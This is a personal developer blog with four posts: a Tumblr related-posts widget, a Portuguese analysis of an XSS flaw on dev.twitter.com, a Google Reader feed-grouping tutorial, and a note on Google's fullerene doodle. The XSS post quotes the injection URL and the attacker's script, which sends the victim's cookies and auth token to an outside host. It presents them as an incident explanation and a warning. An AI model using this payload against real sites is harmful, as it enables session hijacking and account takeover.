mps-dev

RelPosts Widget: A quick way to show related posts in your tumblr blog

Wed, 16 Feb 2011 05:57:00 -0800

Almost all blogging platforms and/or CMSs have a built-in feature, or 3rd-party plugins/widgets, to show in a post a list with links to other similar posts, mostly with the intention to keep the visitors in the blog, creating an engaged audience and -- to those who track the blog with Analytics or other services -- consequently raising the statistics on pageviews, average time on site and lowering the bounce rate.

But until now there was no such feature/widget to be used on Tumblr, as far as I know. Then, in need to code something, I looked at Tumblr API docs, studied the code from widgets featured at Third-Party Apps page (ok, just one: Tag Clouds by Heather Rivers) and did a "quick and dirty" script to do this job.

In this screenshot you can look at my own blog, my "volunteer" to test this widget.

How does it work?

Get the post's tags
Query the Tumblr API for posts with the same tags
Add the posts' titles (with links) and display them on the page

How do I use it?

Copy this code:

{block:HasTags}
{block:Permalink}
<--! Start Tumblr Related Posts widget -->
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.0/jquery.min.js"></script>
<script src="http://relposts.googlecode.com/svn/trunk/relposts.js?tags={block:Tags}{Tag},{/block:Tags}" type="text/javascript"></script>
<--! End Tumblr Related Posts widget -->
{/block:Permalink}
{/block:HasTags}

Open the Customize page on your dashboard
On the Theme tab, click on Enable custom HTML
Paste this code anywhere you want inside the {block:Posts} ... {/blockPosts} tags.

Note that if your theme already has any or both of these blocks (HasTags and Permalink), you can put it inside them, just be sure to put it inside both. If the post does not have tags, it will only show an error message. Also, it is designed to work on the post page, not the index (home), hence the need to be inside a Permalink block.

How can I customize it?

Currently, there are few options, but you can change some things anyway, just add some parameters after the "?" on the script's URL:

css=custom - to use your own CSS and change the widget look'n'feel. (defaults to none, use the theme's own styling)
len=X - where X is the maximum length -- in characters -- of the links' texts, useful because only Text and Chat have titles, for other post types this script uses the caption for photo/video posts, the text for quote/link posts or the question for answers posts. (defaults to 60)
num=X - where X is the (maximum) number of related posts to list (defaults to 8)

Example with all parameters, using custom css, only 50 characters on the links' texts and (at most) 10 posts to be listed:

...
<script src="http://relposts.googlecode.com/svn/trunk/relposts.js?css=custom&len=50&num=10&tags={block:Tags}{Tag},{/block:Tags}"
...

If anytime this script gets more attention and users, maybe I can add another feature or customization, let's see.

Reference

The HTML code generated looks like this:

<div id="relposts">
  <div id="relposts-loading">here goes loading and error messages</div>
  <div id="relposts-title">
  <ul id="relposts-list>
   <li class="relposts-item"><a class="relposts-link" href="link-to-post">text-(title)-of-the-link</a></li>
   ... repeat for every related post ...
  </ul>
</div>

So you can put this code in your "custom CSS" if you choose to:

#relposts {
  ...
}
#relposts-loading {
  ...
}
#relposts-title {
  ...
}
#relposts-list {
  ...
}
.relposts-item {
  ...
}
.relposts-link {
  ...
}

And you can style it according to your needs. Actually, this is exactly the "default.css" theme.

Changelog

v1.0 - first release

Added:
- custom CSS
- limit the links' text length
- limit the number of related posts to list

Permalink | Leave a comment »

Link do "Pe Lanza" - analisando a falha

Mon, 06 Sep 2010 13:13:00 -0700

Quem quiser uma explicação rápida sobre o fato, por favor se encaminhem para o BQEG, o Marcel deu conta de postar antes de todo mundo.

Basicamente, segundo o próprio autor, foi uma prova de conceito pra "expor a falha pra equipe do twitter". Enfim, bela maneira de fazer isso.

dev.twitter. com/search?query=%253C/script%253E%253Cscript%20src=%27 //dgoh-codes. com/joseph/twitter/lol.js%27%253E%253C/script%253E

Aí está a URL maliciosa que foi distribuída com o devido uso do encurtador pra enganar todo mundo.

Perceba que ela usa o campo "query", ou seja, o conteúdo da busca na página dev.twitter.com, que é uma das centrais de ajuda a desenvolvedores de aplicações para o serviço.

E dentro desse campo ele joga um valor "</script><script src="URL_DO_SCRIPT"></script> que é aceito pelo sistema. O campo query sequer é tratado o que é um risco e tanto.

Tendo em mãos a url desse script, resolvi ver o que realmente era o conteúdo dele:

window.onload=function(){

location.href='//dgoh-codes.com/joseph/twitter/?cookie='.concat(escape(document.cookie),'&token=', document.body.innerHTML.match(/value\', \'([^\']+)/i)[1]);

}

O script simplesmente redireciona o usuário para a página do autor da sacanagem, que deve ter um código simples de enviar tweets através dela.

O detalhe é que usando este script, ele consegue passar o cookie - um pequeno documento que armazena dados para te manter logado em um site, no caso do twitter - e o mais importante, o token de autenticação, uma sequência de caracteres gerada aleatoriamente a cada sessão, que é realmente o que dá autorização para a página enviar um tweet em seu nome.

Fica a dica, cuidado ao clicar em links, não só no twitter, mas em qualquer lugar aí pela internet.

Permalink | Leave a comment »

Criando feeds combinados com o Google Reader

Sat, 04 Sep 2010 13:10:00 -0700

(dois posts no primeiro dia? wow...)

Atendendo a um pedido, resolvi escrever um post pra explicar como eu criei o feed combinado dos meus blogs. Já adianto que talvez existam outras soluções melhores, mas essa alternativa funciona bem pro meu uso, então mantenho ela :)

Primeiro passo, abra seu Google Reader e clique no link acima dos itens dos seus amigos (aqui está em espanhol, não se espantem):

Certifique-se que está na primeira aba (Navegar), então clique no botão mais abaixo e à direita, "Criar um grupo". (note também o link "ver seus grupos)

Na página que abriu, você pode ver a caixa de criação do grupo.

alto: Título (equivale ao nome do feed) e descrição (útil, coloque algo que identifique o que tem de feeds)
meio: aqui vão os feeds que farão parte do grupo, basta clicar e arrastar eles da sua lista de feeds para cá. se quiser remover algum, basta arrastar pro espaço logo abaixo
baixo: um checkbox pra você marcar se quer ou não adicionar o grupo aos seus itens compartilhados no google reader e o salvar/cancelar

Terminando a criação do grupo e clicando em salvar, ele também vai aparecer quando você clicar pra criar um novo ou ver seus grupos. Nesse exemplo, tem ali embaixo o já criado aqui do psicofobia.

Agora, o passo final: junto ao grupo há 4 links, clique no terceiro "Adicionar um link [ao seu site ou blog]"

Ele vai abrir essa página com os feeds do seu grupo, etc. Ali do lado direito tem o "Atom feed", só copiar o link e distribuir por aí :)

Qualquer coisa, deixe sua dúvida nos comentários!

Permalink | Leave a comment »

Javascripts malucos e o doodle do Fulereno

Sat, 04 Sep 2010 06:24:00 -0700

(primeiro post, mais um blog, só pra separar o tema que não cabia bem em nenhum dos outros)

Então que o grande G soltou um novo doodle na sua página inicial, primeiro só na Nova Zelândia e depois all around. A brincadeira da vez é uma homenagem aos 25 anos da descoberta do Fulereno, uma molécula de carbono cheia de propriedades especiais e etc. A propósito, se está lendo isso e não viu ainda, os amigos do Google Discovery registraram em um post por lá.

Agora, o interessante aqui é que não foi feito em flash, como usualmente seria (nem tem nada de especial de HTML5 viu, mas tudo bem, não está errado). Toda a jogada da molécula se movendo junto com o mouse e deixando rastro foi feita com transições de imagens e divs coordenadas de acordo com fórmulas matemáticas doidas, tudo com um "simples" javascript...

Se não acredita em mim, segue o código lindo que é inserido -- on the fly, dentro de uma tag script adicionada por um javascript -- na página:

Alguém disposto a tentar entender melhor?

ps: esse código estava completamente ilegível, todo minified, essa já é uma versão editada.

Permalink | Leave a comment »